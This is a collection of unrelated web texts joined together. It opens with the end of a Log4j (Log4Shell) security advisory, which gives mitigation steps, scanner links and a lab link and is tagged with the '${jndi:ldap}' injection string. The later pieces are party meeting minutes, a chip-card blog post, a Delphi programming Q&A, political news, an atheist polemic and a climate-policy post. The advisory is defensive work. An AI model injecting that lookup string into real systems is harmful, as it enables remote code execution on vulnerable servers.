Search logs for IPs that have known to be scanning for the vulnerability and add them to your block list. A running list of known IPs can be found here.
Block a list of IPs that have been used to host a malicious payload to execute the vulnerability.
Review the list of IOCs being updated by Microsoft.
Review the additional list of IOCs being updated by the Curated Intelligence Trust Group.
There have been many articles and resources that have been published since the release of this vulnerability, so in addition to the links in this Security Advisory, nGuard wanted to provide a few additional for further reading.
If you want to try and exploit the vulnerability yourself, John Hammond and TryHackMe have created a room for you to do so. https://tryhackme.com/room/solar
A Growing List of Tenable Nessus Plugins being release for detection of Log4j. https://community.tenable.com/s/article/Plugins-associated-with-CVE-2021-44228-Log4Shell
The team at Huntress has had great coverage and updates, including an open-source tool to help detect the vulnerability. https://log4shell.huntress.com/
The National Cyber Security Centrum (NCSC-NL) has been maintaining another GitHub repository with a list of information for hunting, IOCs, detection and mitigation, scanning, and vulnerable software. https://github.com/NCSC-NL/log4shell
CISA Released an open-source Log4j Scanner. https://github.com/cisagov/log4j-scanner
If you feel you need assistance with the detection of vulnerable Log4j instances, have discovered a Log4j related incident, or need general security services related to this vulnerability or anything else, reach out to nGuard. nGuard offers Log4j scanning, consulting services, log management and event collection, and penetration testing services.
Filed Under: Advisory, Breach, Events, General, Vulnerabilities & Exploits Tagged With: ${jndi:ldap}, CVE-2021-44228, CVSS, Java, Log4j, Log4Shell
info@nGuard.com
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Quorum established with 5 out of 7 board members present.
Keith: CS Subgroup, France/Italy conversations, Israel conference prep, updated the wiki.
If we want to submit the paperwork to Belgian governement I need copies of ID and/or passport of all board members. Or if some are unwilling to provide those please let me know.
Raymond: As always working on social media and also communicating with FB regarding the ownership of our main FB Page. Activism continues with many ops and campaigns.
Cashiers to send invoices on a regularly basis.
Lay auditors have never responded to mails, request that we replace them.
France requested an invoice for their payment.
Italy also indicated that they are paying.
We need to see the bank balance to confirm payments, before sending the invoice.
Setting up a single word document, which ties in to an xml file with macros that update invoices.
Payments for the servers, Belgian tax authorities, postal fee, or any other payments due?
Crowdfunding on several different platforms for the conference planned, but not until we lay the groundwork for the conference.
Crowdfunding for our video campaigns project? or the podcast project?
We decided to do two streams. One stream that is open at all times, and another that is specific for the meeting.
Keith will work on a text that we can put up after the next meeting for the ongoing CF.
Israel is trying to find the best day and time, especially location. We discussed having it at the universities. May 2018 is the earliest point in time that it would be convenient. Israel should have a response by next week, so we can move forward or if we can move forward. Anders Kleppe from Norway would be interested in facilitating this conference, and we should follow up with him.
Motion: PPI will follow up with the plan of having a Think Twice Conference in Jerusalem during the summer period of 2018. The board gives assent to the idea of initially exploring the development of this conference through the CS/CF subgroup for this Think Twice Conference. The subgroup will report to the board on a regular basis.
They will try to make them every Wednesday from now on. Elections are a good focus for the polls.
e.g. Free Bogotov campaign in Russia.
first test showed points that need working on. Bailey and Andrew will test skype and google hangouts as it is felt visual communication is needed in panel discussions. More tests will follow.
We will find a jingle! The best jingle!
Initial Wikileaks support letter by Bailey and Ray.
From last meeting: There is no set date, the time zone issue exists. Reach out to everyone by email or set a time and date? Rotate the times? Rotating is perhaps easier. If we can establish a date and time for the very first meeting then we can figure out the rest collaboratively.
Joseph Collentine wants to do a meeting with the international coordinators. This is something that we should keep separate. Andrew was looking for a previous list, that Joseph and Lisa had put together, but the list does not exist anymore. Andrew recommends that we try to reconstruct that list.
Last meeting we were waiting for tech team update, and their conditions for setting up the server. We requested an update on the conditions for the collaboration in order to move forward.
Additonal comment: AG Technik is liability insured, as of the moment has on its own 11 servers and 17 services and hostings.
Motion: PPI provides tacit approval of the informal proposal listed above. PPI will follow up with a formal document in the future that provides more precise language and identifies the admins and management team. The AG Technik Brandenburg is hereby asked to start its work according to this tacit approval.
Call for presenters/ workshops at WTO in Geneva.
Is someone from PPI going to present? Guillaume?
Registration of PPI as an NGO in Switzerland, a meeting will take place to check the structure within the next 1-2 weeks. (Presumably that meeting has not happened yet. To be remembered for next meeting).
They can sign up on their own, but they would need to provide specific information on who they are. Otherwise, the best way is to let Thomas know directly. There is an issue with certain Google Emails, and we need to update our software perhaps. Most of the emails from before were international@ PARTY NAME, so we could perhaps send out test emails as such.
Article about it, Guillaume is working on the article. Guillaume sent a graph for making policy decisions. We should prepare a simple response though by email for Aram. Can Keith send it to him? Many people are probably not familiar with how to use Loomio and Redmine, and hence they want a simple tutorial, which we could borrow from those already written. Keith will send Aram an email response. We will follow up with Guillaume about the larger proposal.
These would appear to be the perfect type of issues to be discussed through the rubric for online democratic decision making that Guillaume is proposing. Guillaume was going to see a lawyer to follow up on nonsensical information and trying to clean it up. We should try to have it in one piece for the GA, rather than having to go through statute by statute. We may need a separate statute about making prior online decisions, whereby we could approve previously given postal votes to count. We can have online votes in between. The statutes are an opportunity using Liquid Feedback and/or Redmine. Perhaps we can just go ahead with Redmine. We could also set it up where they can email their vote in, and they can vote by email and we can add that to the Redmine.
Statute Subgroup Volunteers: Thomas, Andrew, Keith, Guillaume?
Pirate Research Proposal, gaining access to Lime Survey. How does Keith get access to our Lime Survey hosting? We will follow up with Thomas. The goals is to do some type of questionnaire to get feedback and conduct research about Pirate supporters in different countries.
Thomas will give the info to AG Technik for getting Keith on it.
Publishing online democracy report in Pirate Times and on our website, or anything else that we would like to publish? We will think about it.
Thomas can't because he is not empowered to do so. No update for now.
Ongoing work. A subgroup is needed eventually, but we will put this for a later date.
This page was last modified on 22 May 2017, at 19:36.


If you wonder what passes for fun for personal finance writers, you need look no further than the EMV for a Week Challenge.
It's the brainchild of digital security firm Gemalto which was wondering why, after all the buzz last fall about chip cards (aka EMV cards), weren't more retailers accepting them. So they sent me and three other writers some spending cash and a list of ten tasks to complete within a week with our EMV cards.
The results – at least in my case – show you won't be dipping your card anytime soon.
Get coffee at a local (not chain) coffee shop: Success! I was so geeked my first stop had a chip reader from Square. I thought maybe I was mistaken – maybe chip cards really are being read in my area. Alas, I would have to wait seven more days for another success.
Make any purchase at a big-box store: After seven days of swiping rather than dipping my card, I headed to Target for my final task because I knew they would have EMV readers in use there. I was not disappointed.
Get a meal inside a fast food restaurant: Not only does not my local McDonald's not read chip cards, they don't even have the right terminals yet.
Buy a magazine at a gas station: I discovered the magazine selection at the local gas station is very limited…although if you're into guns or girls, they've got you covered. They had an EMV terminal but still had me swipe my card.
Buy a tacky t-shirt: I thought the local thrift store would be a treasure trove of tacky shirts, but the people in my community apparently have better taste than I thought. Still, I was able to find something that fit the bill here. No EMV terminal to be found, however.
Get someone special a bouquet of flowers: For this task, I decided to stop by a local floral shop and ask for an arrangement to be sent to our local nursing center. They had a Square terminal but no chip reader. The owner told me Square was sold out of chip readers when she bought the terminal, and she couldn't get hers until March.
Hit a tourist attraction in your town: My son went tubing at the local slopes, and I stopped by the ski shop when I picked him up. They had an EMV terminal but the chip reader wasn't turned on so I swiped rather than dipped my card.
Buy office supplies: For office supplies, I swung into Dollar Tree to see what the EMV situation was like there. They had an EMV terminal, but the cashier said it probably wouldn't start reading chips until June.
Mail a postcard from your local post office: The post office has an EMV reader, but it wasn't reading chips. The clerk was quite amused when I said I was surprised the government wasn't on top of the EMV transition.
So there you have it: my score for the EMV for a Week challenge was 2/8.
While that number is low, it seems to be on par with the number of merchants accepting chip cards nationwide. Last month, Visa reported 17 percent of its face-to-face merchants were able to process chip transactions.
Last fall, the liability for some credit card fraud shifted to retailers. Specifically, if a bank gave a person a chip card and then a retailer let a fraudulent charge go through because they didn't have a chip reader, then the retailer would be on the hook for the cost of that purchase. Previously, the financial institution absorbed all the costs associated with fraud.
However, not all merchants seem to know about the liability shift. The owner of our local floral shop said she didn't understand how reading the chip is better than swiping the strip on a card. When I mentioned merchants could be liable for fraudulent charges made with a chip card, it was news to her. While she hadn't heard of the liability shift, she did say she already checks IDs for everyone using a card because she worries about stolen credit cards.
Meanwhile, Ross Martin, owner of Caledonia Village Ace Hardware in Caledonia, Michigan, told me he too is experiencing delays in being able to upgrade equipment. His supplier has indicated it will be at least six months before they can begin the process of updating the store's terminals and software to be EMV compatible.
Certainly, Martin may have a point about the number of people who have chip cards in our area. A quick look in my wallet shows only one EMV card. My small, local credit union hasn't sent me a chip card. Neither has the regional bank that holds my mortgage and a checking account. Even the national banks haven't updated their cards.
In fact, the only EMV card I have is a travel rewards credit card that came back in December 2014 with a chip (presumably because they figured I would be jetting off to Europe where chips have been standard for quite some time…I wish!).
As of December 2015, Square reported 53 percent of the payments processed by their merchants were chip cards. While that number may be skewed since Square typically processes transactions only for smaller businesses, it implies a whole lot of people don't have chip cards yet.
The Gemalto EMV for a Week challenge reinforced what I already knew: at least here in West Michigan, it's the rare retailer who will ask you to dip your card.
Next up, heading to the #postoffice to send a postcard to the Gemalto team thanking them for asking me to help #ChipAwayAtFraud and to see if the government is #EMV ready.
I'm interested to see how the other participants fared, and you can keep an eye on the Gemalto blog for their wrap-up of everyone's experiences.
In the meantime, leave a comment below and let me know if you have a chip card, whether retailers have you swipe or dip and what state you're in. I'm curious to hear how people in other parts of the country fare when it comes to fraud protection.


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text:
Q: External App: Check if an Outlook Folder exists SOLUTION BELOW
I've been looking all over the net to find a solution for this, but it seems quite hard to get an answer for this in Delphi...
Skip this if you're familiar with Outlook
Some explanation before:
The Contacts Folder in Outlook is organized like a foldertree in Windows. The Contacts are stored in the Contacts Folder itself or within subfolders.
My Code does add Contacts from an external Database into the Outlook contacts Database. To prevent double entries the programm is supposed to check all contacts and see if it can find an 'older' version of the contact entry and update it, or if not, create a new one.
Therefore I wrote a recursion which loops through the folders and checks the contacts.
Within a folder you can get the subfolder by (besides Next, Previous and Last)
Contacts:= Contacts.Folders.Getfirst

//The now selected Folder is the first subfolder within the previous selected one
If I am trying to get any property of this Subfolder like 'Items.Count' or anything else, an error occurs because this folder doesn't exist.
Therefore I want to check if the Folder exists or not, and skip to loop through this subfolder because otherwise the loop would break here and the program stops.
Skip until here if you're familiar with Outlook workings
THE PROBLEM:
In Debugger this Contacts/Folder Variable (an OleVariant, Pointer to the now selected Folder) contains values similar to this: '$0074974C'.
If there is no subfolder this value returns '$00000000'. This seems to be a pointer.
How should I check if a folder exists or not?
const
  olFolderContacts = $0000000A;
var
  outlook, NameSpace, Contact, ContactsRoot, Contacts: OleVariant;

begin
Outlook := CreateOleObject('Outlook.Application');
NameSpace := Outlook.GetNameSpace('MAPI');
ContactsRoot := NameSpace.GetDefaultFolder(olFolderContacts);
Contacts:= ContactsRoot;
//We're now in the Contacts Folder
Contacts:= Contacts.folders.getfirst;
//First Subfolder

What didn't work:
Check if
Contacts = '$00000000' (As string)
Contacts = '$00000000' (As OleVariant)
var
val:TVarRec;
code:
val:=Contacts;
string(Contacts.VWideChar) = '$00000000'
var
vntNothing: OLEVariant;
code:
TVarData(vntNothing).VType := varDispatch;
TVarData(vntNothing).VDispatch := Nil;
Contacts = vntNothing
Contacts = unassigned
...
...
In VBA this problem has a simple solution
if Contacts = Nothing
But there is no 'Nothing' in Delphi...
Ideas?

A: You could first check the count on the Folders collection:
if Contacts.Folders.Count = 0 then

or
Contacts := Contacts.Folders.GetFirst;
if VarIsClear(Contacts) then

A: You could try this:
if IUnknown(Contacts) = nil then
  //

A: var
x: string;

in code:
x:= format('%p%',[Pointer(TVarData(contacts).VDispatch)]);
if x = '00000000' then
   'New Contact'
else
   'open folder and search within this one'

Co-worker had the solution.. Thanks for your time :)

redpajama_set_name: RedPajamaStackExchange


text:
Kofi Adams Inciting Supporters To Chase Me Out With Cutlasses - Alabi
Flag bearer hopeful of the main opposition National Democratic Congress (NDC), Professor Joshua Alabi has accused the National Organiser of the NDC, Kofi Adams, of inciting party supporters to chase him out with offensive weapons such as cutlasses.
Professor Alabi, who was a guest on Class FM Monday 30 April 2018, also accused Mr Adams of double standards.
Professor Alabi was reacting to claims that instead of focusing on uniting the NDC, he and some others are rather interested in their presidential ambitions.
He said: "Kofi Adams came out openly to tell the world that former President Mahama should lead the party. What was he [Mr Adams] doing?
"Let's be very clear when we assume leadership of parties. The NDC party is not a party for people just to think that you can just take it and say just anything because it has intellectuals who think….
"Kofi Adams met me in one of the constituencies in Krowor, [it was] reorganisation. That day I didn't speak, I financed the whole programme there, yes, and he came and he got the opportunity to talk but I didn't talk, I didn't campaign, he met me there. We went round… to listen to the problems of the constituency and see how best we could bring the warring factions together… While he was campaigning for somebody, he has asked people in other constituencies to take cutlasses and chase us out when we come in. This is the party that we have; these are the executives that we have. If we want the party to progress the way we want it to progress let's do things properly".
Source: classfmonline.com
Joshua Alabi Replies Kofi Adams
Opuni Sues EOCO Again...


text:
Duck Dynasty's Phil Robertson gets schooled!
Freethinkaluva222014-06-14T23:15:14-07:00Categories: Freethinkaluva22|Tags: christianity, phil robertson, religion, separation, state|
A Church/State Lesson for Duck Dynasty
by Freethinkaluva
Dear Mr. Phil Robertson:
I've been a fan of the Duck Dynasty show, which I thought was very funny, so I am disappointed in your now-notorious comments regarding gays and the church-state issue. In the video of your speech at the Republican Leadership Conference in New Orleans, and quoted here you said:
"You lose your religion, you lose your morality, you lose your freedom," Robertson said. "You cannot be right for America if you are not right with God."
"If the country does not turn to God at a fairly rapid clip, we are going to lose the United States of America."
"It cannot be emphasized too strongly or too often that this great nation was founded not by religionists, but by Christians. Where there is no Jesus, the love rate is always real low and the crime rate is always real high. It's just that simple GOP. You want to turn the Republican Party around, get godly."
He rejected the secular society created by Supreme Court decisions he interpreted as an attack on religion.
"We threw God out of the schools. We threw God out of the courthouses," Robertson said, in a speech that featured quotes from several Founding Fathers, including George Washington, John Adams and James Madison.
"Separation of church and state? I'm telling you right [now] what our Founding Fathers said and it doesn't sound like separating God Almighty from the United States of America. It's a lie. You remove the Bible out of schools, it was said more 200 years ago, and you are going to be wasting so much time punishing criminals. Education is useless without the Bible. Take the Bible out of schools and there's going to be an explosion of crime."
"The strength of this nation is not the Constitution," he insisted, "but the law of God and the Ten Commandments upon which the Constitution was founded."
I thought there were a few things you may want to be made aware of.
Firstly, on the topic of gays, I'd just like to remind you of the biblical principle of "Hate the Sin, Love the Sinner." You have the freedom to dislike homosexuality, but you do not have the right to discriminate against individuals. Like many people, I have several gay and lesbian friends; they are my friends not because they are gay or lesbian, but rather, because they are intelligent and good people who simply do not deserve to be discriminated against.
Secondly, as a lover of freedom from religion, I have a very serious problem with your views on separation of church and state. Here's why.
If you take the quiz, "What Do You Know about the Separation of State and Church?" you will learn why the early Christians in America themselves wanted state/church separation:
Roger Williams' Providence settlement founded in 1636 expressly guaranteed religious freedom. However, the Pilgrims originally were a tolerant people, when they founded Plymouth in 1620. By 1691, the Pilgrims had adopted the theocratic, intolerant Calvinism of the Puritans, who founded the Massachusetts Bay Colony in 1628. The Puritans came to this land expressly to establish a bible commonwealth, and banished "heretics" and dissenters. In Virginia, heresy was a capital offense punishable by death by burning. Quakers were particularly persecuted. People who were not orthodox Christians were not legally protected, could be denied civil rights and jailed. The founders of the new nation of the United States of America, conversant with extreme religious intolerance and violence in the several colonies, were determined to put an end to it. That is why they established state/church separation.
Many people came to America to escape religious persecution. There can be no freedom of religion without the freedom FROM religion. Isn't it interesting that there exists no democracy in the Bible? The god of the Bible is certainly no moderate either, as he does not prescribe fair and equitable treatment for all:
…Nowhere in Scripture will you find an acknowledgment that each individual has an "inalienable right" to be treated with fairness and respect, or that "We, the People" are capable of governing ourselves. There is no democracy in the "word of God." In the Bible, humans are "worms" and "sinners" deserving damnation, "slaves" who should humbly submit to all kings, heavenly and earthly." "American laws are based on a secular constitution, not the Bible. Any scriptures that might support a good law do so only because they have met the test of human values, which long predate the ineffective Ten Commandments."
The God of Scripture slaughtered entire groups of people that offended his vanity, ordering young virgins to be kept alive as war booty for his priests (Numbers 31). "Happy shall be he that taketh and dasheth thy little ones against the stones," he advised (Psalm 137:9), threatening those with the wrong religion that "their women with child shall be ripped up" (Hosea 13:16), sending bears to attack 42 children who teased a prophet (II Kings 2:23-24), punishing innocent offspring to the fourth generation (Exodus 20:5), discriminating against the handicapped (Leviticus 21:18-23), promising that fathers and sons would eat each other (Ezekiel 5:10), and much more that we would find repugnant in a human being. In this theistic universe, morality is severed from reality and reduced to flattering the Sovereign.
From a former Pastor of 20 years: "How Can an Atheist Be Moral? For Goodness Sake"
Here are more reasons so many of us no longer trust religion:
"No, I don't know that Atheists should be considered as citizens, nor should they be considered as patriots. This is one nation under God."
– George H.W. Bush, candidate for president in 1987
"Our goal, as Christians, is to dominate society."
– Pat Robertson
"Christianity & Democracy are inevitably enemies."
– R.J. Rushdoony "Independent Republic" (1964; 122)
"The church should be a disciplined charging army. Christians, like slaves and solders, ask no questions. We are fighting a holy war."
– Jerry Falwell
"Our job is to reclaim America for Christ, whatever the cost. As the vice regents of God, we are to exercise godly dominion and influence over our neighborhoods, our schools, our government, our literature and arts, our sports arenas, our entertainment media, our news media, our scientific endeavors — in short, over every aspect and institution of human society."
– D. James Kennedy
"Christians have an obligation, a mandate, a commission, a holy responsibility to reclaim the land – for Jesus Christ – to have dominion in civil structures, just as in every other aspect life & godliness. It is dominion we're after not just a voice. It is dominion we're after not just influence. It is dominion we're after not just equal time. It is dominion we're after. World conquest. That's what Christ has commissioned us to do."
– George Grant, "Changing of the Guard" (50-51)
"Secular schools can never be tolerated because such a school has no religious instruction and a general moral instruction without a religious foundation is built on air; consequently, all character training and religion must be derived from faith … We need believing people."
– Adolf Hitler, April 26, 1933, from a speech made during negotiations leading to the Nazi-Vatican Concordat of 1933.
In its article about you, "Awesome: Duck Dynasty Star Phil Robertson to Address GOP Leadership Conference," The Conservative Tribune states:
America needs more people like Robertson who aren't afraid to speak their mind and stand their ground no matter how hard liberals try to silence them. His experience teaches us that if we are willing to stand firm on our principles and push back against the establishment, we can achieve victory.
Liberals are not trying to silence anybody, that's what the GOP does. The only "principles" I see on display here by Phil Robertson is a rigid adherence to utter ignorance and a denial of the facts based on biases and it is diametrically opposed to the US Constitution. I challenge you to try walking in our non-believing shoes to realize the utter discrimination we face. In reality, the last thing we need is more religion, as one of the most embarrassing and perilous periods in history was when religion reigned supreme as a theocracy. What an endorsement of discriminatory and bigoted religious views actually does is to move the U.S. closer towards a modern-day DARK AGE. The fact is that faith and the euphoria it produces do not trump credible evidence that actually exists. It's these types of religious beliefs being pushed upon us that would make me utterly ashamed to be a Republican today. Today, the GOP reminds me of Republican Senator Joseph McCarthy from the 1950's, an embarrassing time period in US history.
The rest of us have moved on from rigidly adhering to religious extremism hiding behind some god-fraud front to sell us a load of worthless dogma.
"Religious freedom is one thing," says Joan Bokaer, director of Theocracy Watch, a project of the Center for Religion, Ethics, and Social Policy (CRESP) at Cornell University. "But religious extremism is something completely different. What people aren't aware of is just how deeply the radical religious right has penetrated our government—in all three branches. We really are very close to becoming a theocracy. People have reason to be worried."
"What people aren't aware of is just how deeply the radical religious right has penetrated our government—in all three branches."
Watch this video to learn why atheists care about religion.
In closing:
"If there were valid scientific evidence in support of the supernatural religious claims, faith would not be the main requirement."
– Christ in Egypt: The Horus-Jesus Connection (page 3)
"I contend we are both atheists, I just believe in one fewer god than you do. When you understand why you dismiss all the other possible gods, you will understand why I dismiss yours."
– Sir Stephen Henry Roberts (1901-71), Historian
Sources & Further Reading
"Love the sinner but hate the sin"
Freethought Quizzes:
What Do You Really Know About The Bible?
50 questions to test your biblical knowledge
What Do You Know About The Separation of State and Church?
21 questions to test your knowledge of America's valued principle
Study: Atheists Most Discriminated Minority
Religion and the Ph.D.: A Brief History
Were George Washington and Thomas Jefferson Jesus Mythicists?
Zeitgeist Part 1
UN "Blasphemy Resolution"
Separation of Religion and State
"God Bless America" Response to pass around
Pagan Parallels: Achilles Heel of Christianity
George Carlin on religion
How many has God killed?
Have 250 million been killed in the name of Christianity?
http://www.youtube.com/watch?v=oZgT1SRcrKE
Duck Dynasty's Phil Robertson gets schooled!
Arizona stands alone against foreign invasion?
Wall Street, Congress rape Main Street America
Bin Laden: Goal is to bankrupt U.S.


text:
David Doniger
Policy Director Natural Resources Defense Council
David Doniger has been at the forefront of the battle against air pollution and global climate change since he joined NRDC in 1978. He helped formulate the Montreal Protocol, an international...
67 items added with 63,468 views
First Do No Harm: Making Sure an Energy Bill Doesn't Fuel Even More Global Warming
Jul 7, 2010 1:55 am GMT
As the President and Senators consider their options on energy and climate legislation, it's important to be clear about what will move the country forward and what will move it backward. Will our leaders put us on the road towards the carbon pollution cuts desperately needed to take back control of our economic, environmental, and national security, or will they drive in the wrong direction and make matters even worse?
As my colleague Dan Lashof shows here, the Senate can at least get us started towards the economy-wide carbon pollution reductions we need, by adopting a cap on utilities and other stationary sources along with robust policies to save oil and curb emissions from the transportation system. These measures could get more than half way to the 2-billion-ton cut in carbon dioxide emissions needed by 2020 to avoid the worst impacts of global warming.
That won't get across the goal line, but it's a start. And it's certainly more carbon reductions than any "energy-only" bill would deliver.
There are other good things that can be done to improve energy efficiency and boost clean energy sources, as my colleague Jim Presswood shows here.
But there are some things that the Senate absolutely must avoid – things that would actually dig a deeper carbon pollution hole. The Senate bill must not include measures that increase carbon emissions, take away the laws already on the books to cut those emissions, or weaken other protections for public health and the environment.
Unless It Includes a Cap, an Energy Bill Could Make Carbon Emissions Even Worse
Unless the overall Senate bill includes a cap on stationary source emissions, some energy bill provisions would actually make carbon emissions worse. Here are four examples:
Electric transmission capacity. The American Clean Energy Leadership Act (ACELA) calls for running new electricity transmission lines between the Great Plains and big urban areas. Carbon pollution will go down if those lines carry power from new wind farms. But it will increase if the power comes from new coal power plants. Unless there's a cap to cut carbon emissions, increasing this transmission capacity will likely increase those emissions, because there will be more new coal power plants, and fewer wind farms, tying into the new transmission wires.
Electrifying the vehicle fleet. Unless there's a cap, incentives to electrify the motor vehicle fleet could increase, not decrease, carbon pollution. Plug-in hybrids and other electric vehicles can help cut our oil dependence. They will lower carbon emissions too if the power they use comes from low-carbon electricity sources. But if vehicle electricity use is expanded without firm carbon limits, there will be more emissions from coal power plants – in some cases more than the amount we cut from the vehicles themselves.
Dirtier transportation fuels. The ACELA bill would weaken the environmental performance required of transportation fuels purchased by the federal government. The U.S. Air Force has goals to procure about 400 million gallons of synthetic jet fuel by 2016. If oil from tar sands or other dirty fuels are used to meet the Air Force goals, carbon emissions could increase by 5-10 million tons. More dirty crude coming from Canadian tar sands also means more carbon emissions from U.S. refineries, because that crude takes more energy to refine. So if there's no cap on refinery emissions, their carbon emissions will go up as we use dirtier fuels.
Bioenergy. Energy and climate legislation should not ignore the carbon emissions and other environmental impacts of burning biomass for electricity or motor fuel.
Legislation should not undermine existing Clean Air Act requirements for a full lifecycle accounting of the carbon emissions from producing and using biofuels – including market-driven impacts such as international deforestation. Legislation also should not tamper with existing environmental performance standards or definitions that establish sourcing guidelines to protect federal forests, sensitive ecosystems, and wildlife habitat. Without safeguards, burning biomass for energy risks serious environmental degradation and will put more carbon pollution in the atmosphere, not less.
Energy legislation must not treat corn ethanol as an "advanced" biofuels under the Renewable Fuel Standard. The purpose of the "advanced" biofuels provisions is to bring cleaner, more efficient next generation biofuels into the market, not to lavish ever more giveaways on established corn ethanol.
For the same reason, legislation should not give big oil a costly, counterproductive tax credit (the Volumetric Ethanol Excise Tax Credit or "VEETC") for buying and blending the amounts of corn ethanol that refiners are already required by law to use. Instead of doling out tens of billions to big oil companies and old corn ethanol plants, Congress should support emerging and more competitive energy technologies – non-polluting wind, solar, geothermal and advanced biofuels – that create many more times the green jobs we need and far less pollution.
Energy Legislation Must Preserve EPA's Authority to Curb Carbon Pollution
When it wrote the nation's clean air law in 1970, Congress addressed more than the dangerous air pollutants known at the time. It also gave the Environmental Protection Agency the tools and the responsibility to protect the public when science shows that new pollutants pose dangers to health or the environment. The Supreme Court upheld this authority in its landmark 2007 global warming decision, Massachusetts v. EPA.
The Senate wisely rejected Senator Lisa Murkowski's bid last month to flout the science, overturn the Supreme Court's decision, and block EPA from carrying out the law of the land. But many industries are still hoping for Clean Air Act exemptions.
Over the last year, the push for exemptions from Clean Air Act authority has been framed in the context of enacting an economy-wide cap to cut overall carbon pollution. To those who ask "why have both?" the answer is that history demonstrates the value of having both a cap and complementary emissions performance standards. That combination has worked for 20 years for the sulfur dioxide emissions that cause acid rain. While we've testified that some parts of the Clean Air Act – the national ambient standards and hazardous emission standards – might not be well suited for carbon pollution, it is critical to keep performance standards for both new and existing sources, even with a cap, to guarantee at least a threshold level of investment in modernizing American industry and making it more competitive.
But now some of the biggest carbon polluters have the gall to ask "why have either?" Not only would big oil and others like to avoid a carbon cap, they also want to roll back existing law.
The Senate must tell them to forget about it. It is outrageous to suggest that the biggest industries responsible for global warming pollution should be subject to neither a cap nor standards under existing law. The effort to pass legislation to solve global warming must not end up making it worse by repealing existing law.
No Clean Air Rollbacks for Power Plant Soot, Smog, and Toxic Air Pollutants
A bill to tackle the pollutants that are driving global warming is no excuse for rolling back public health protections for other pollutants. Yet power companies are looking for exemptions or extensions from already long-overdue Clean Air Act requirements to curb the other dangerous pollutants that exact a horrific toll of death and illness each year.
Power plant air pollution is responsible for an estimated 20,000-24,000 deaths annually. This pollution is also linked to tens of thousands of heart attacks, hundreds of thousands of asthma attacks and other cardiac problems, and tens of thousands of emergency room visits, hospitalizations and lost work days each year. This toll will be reduced significantly when Clean Air Act deadlines arrive for cleaning up deadly smog, soot, and toxic air pollution in 2012 and 2015.
Several proposals have already surfaced to delay or eliminate these Clean Air Act cleanup requirements. For instance, S.3464, sponsored by Senator Richard Lugar, would make exemptions available to any power company that signs a contract with EPA to shut down an electric generating unit by the start of 2019. Without these "regulatory relief" provisions, many plant operators will decide to retire some of their old and dirty coal plants by 2015 or before, after concluding that it is not economically sensible to equip them with the pollution control equipment needed to meet the coming standards. As I have explained here, the Lugar bill would give them four or more extra years – and possibly longer – to keep operating without curbing their smog, soot, and toxic air pollution. A provision in the American Power Act, proposed by Senators John Kerry and Joseph Lieberman, would open the door to similar exemptions (see here).
The American people have waited for long enough to curb the toll of death and illness from power plants' other pollutants. Now the big power companies are proposing, like the Devil to Dr. Faustus, that Americans trade off their health as the price of the companies' reducing their global warming pollution. No deal.
When President Obama and members of the Senate return from the Independence Day break, they will face a choice on what kind of future to deliver the American people. One path – climate and energy legislation – can make good on decades of unmet promises to break the nation's addiction to oil, clean up the air we breathe, and win the clean energy race. The other path will deliver nothing more than another piecemeal, dirty energy bill that will set the country backwards, not forwards. The choice should be obvious.
Thank David for the Post!
EPA's Free Pass for Oil and Gas: Another Climate Surrender
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Jesse Jenkins on Jul 7, 2010 7:43 pm GMT
NRDC et al. keep rejecting any substantive steps forward that lack a "hard cap" on emissions, yet they've already cedeing anything resembling a hard, binding cap in their negotiations with industry stakeholdres and Congress critters. The Waxman-Markey bill passed the House loaded with enough offsets to render the cap completely non-binding on covered sectors. The Kerry-Lieberman draft bill is the same. And any utility-sector only bill is likely to include just as many offsets, yet cover just about one-third of U.S. emissions. It's never been a real "cap" on emissions, just an emissions target and a (pretty modest) price signal. Call it "visor-and-trade" really. And with that as the bar set by "cap" and trade legislation, I don't think it'd be hard to get even better outcomes — faster transformation of the U.S. energy sector, faster clean energy innovation, and even faster emissions cuts — with a new game plan. A series of proactive energy-only measures can move the ball substantively forward before time runs out this year, avoid ceding major concessions (like EPA regulatory authority), and position things for a new strategy next year that marries low but steadily rising carbon prices to raise revenues with a series of proactive and comprehensive investments in energy technology innovation and deployment. Or we can keep chasing the failed USCAP strategy down the rabbit hole…
Dan Yurman on Jul 8, 2010 11:54 am GMT
NRDC has me scratching my head about its desire for transmission lines from the central plains to the major midwestern cities to be built solely to support wind farms. That idea could result in very expensive electricity. As NRDC knows well, wind farms are highly variable in their ability to generate electricity. Also, as NRDC knows, tramission lines are like the New Jersey Turnpike. Users have to pay tolls to move along it and wind farms have to pay to put their juice on the lines.
It follows that if juice is only flowing reliably 30% of the time, the top end capacity of wind farms, then the other 70% of the grid is lying idle and not producing revenue for the investors in the grid. This gap allocates the costs back to the 30% guys and bumps the cost of wind power delivered to rate payers into the range of $0.25/kW/Hr.
The answer is that wind farm electricity moves toward cost competitiveness by riding on grids built to move electricity from base load sources such as nuclear power plants. If I was a wind farm developer, I'd look for grids in place that moved power from a reactor. The reason is I'd be buying the marginal surplus capacity of the grid that was being allocated to the utility owning the reactor.
Do the math. Why pay for 70% of the cost of building a grid you can't use when you could buy 5% of a grid already in place?
Exit 11 on the NJ Turnpike is the Garden State Parkway.
http://www.njfreeways.com/NJTPmainlineExits.html
Jesse Jenkins on Jul 9, 2010 10:37 pm GMT
For those interested, I've posted a longer reply/rebuttal to Doniger here, in defense of a (good) "energy-only" bill.
BEIS Updates Technical Note on No-deal Carbon Pricing
The Department for Business, Energy and Industrial Strategy (BEIS) has issued an update to its technical note for carbon pricing in the UK. It describes a Carbon Emissions Tax that would apply if the UK were to leave the EU without a deal.
BEIS Consults on UK Emissions Trading System
The UK government, which has been a part of the EU ETS since its inception in 2005, has launched a consultation on carbon pricing once the UK leaves the EU, with the preferred option being a UK Emissions Trading System.
Breaking Down BEIS's 2019 Emissions Projections
Last week, the Department for Business, Energy and Industrial Strategy (BEIS) released its annual projections for #UK #energy and #emissions. Emissions projections until 2035 are lower than were previously assessed in 2018, largely because 2035..
New York Is Poised to Pass a Comprehensive Climate Bill
Long before grassroots activists captured the nation's attention with the Green New Deal, the New York Renews coalition was hard at work in New York State crafting a bold vision to fight climate change that put equity principles front and center.
Economics and Politics of Germany Exit from Coal: podcast


Last edited by limitles; 02-09-2019 at 11:27 PM.
cleatus: you and firearms and ammo. why the desire for violence here fucko?
I watched it with Johnny yesterday, he wasnt impressed.
Where were you the moment you realized limitles was Calvin Ayre?